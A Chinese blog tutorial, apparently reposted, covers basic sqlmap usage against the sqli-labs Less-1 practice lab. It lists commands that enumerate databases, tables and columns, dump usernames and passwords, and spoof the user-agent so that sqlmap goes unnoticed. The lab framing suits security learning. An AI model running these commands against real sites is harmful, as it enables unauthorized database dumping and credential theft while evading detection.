首页 > 数据库技术 > 详细

sqlmap基础用法

时间:2020-09-15 14:11:54      阅读:55      评论:0      收藏:0      [点我收藏+]

sqlmap基础用法

用法以kali Linux下sqli-lab第一关为例192.168.198.136/sqli-labs/Less-1/?id=1

sqlmap目标获取

-u 参数

后面跟url 执行
sqlmap -u http://192.168.198.136/sqli-labs/Less-1/?id=1

-r 参数

后面跟txt ,txt内容为该url的请求报文信息
sqlmap -r /root/1.txt

获取所有数据库

sqlmap -u http://192.168.198.136/sqli-labs/Less-1/?id=1 --dbs

获取security数据库中所有表名

sqlmap -u http://192.168.198.136/sqli-labs/Less-1/?id=1 -D security --tables

获取security数据库中user表中所有字段

sqlmap -u http://192.168.198.136/sqli-labs/Less-1/?id=1 -D security -T users --columns

获取security数据库中user表中字段的内容

sqlmap -u http://192.168.198.136/sqli-labs/Less-1/?id=1 -D security -T users -C username,password --dump

获取数据库用户

sqlmap -u http://192.168.198.136/sqli-labs/Less-1/?id=1 --users
--password
--current-db
--current-user

sqlmap 设置http参数之设定use-agent

(避免用sqlmap 的user-agent 被发现报错)
sqlmap -u "127.0.0.1/sqli-labs/Less-1/?id=1" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" --banner
用--user-agent 设置user-agent
也可以用--random-agent 随机生成user-agent

sqlmap 设置http参数之设定host/referer

需要在host后面加号或者-level 5
需要在referer后面加
号或者-level 3

设定参数-H /-headers

sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -H "user-agent:123"(指定user-agent一个参数)
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --headers = "user-agent:123\nCookie:123456" --banner
(--headers 同时设置多个参数)

sqlmap基础用法

原文:https://www.cnblogs.com/cjz12138/p/13672510.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!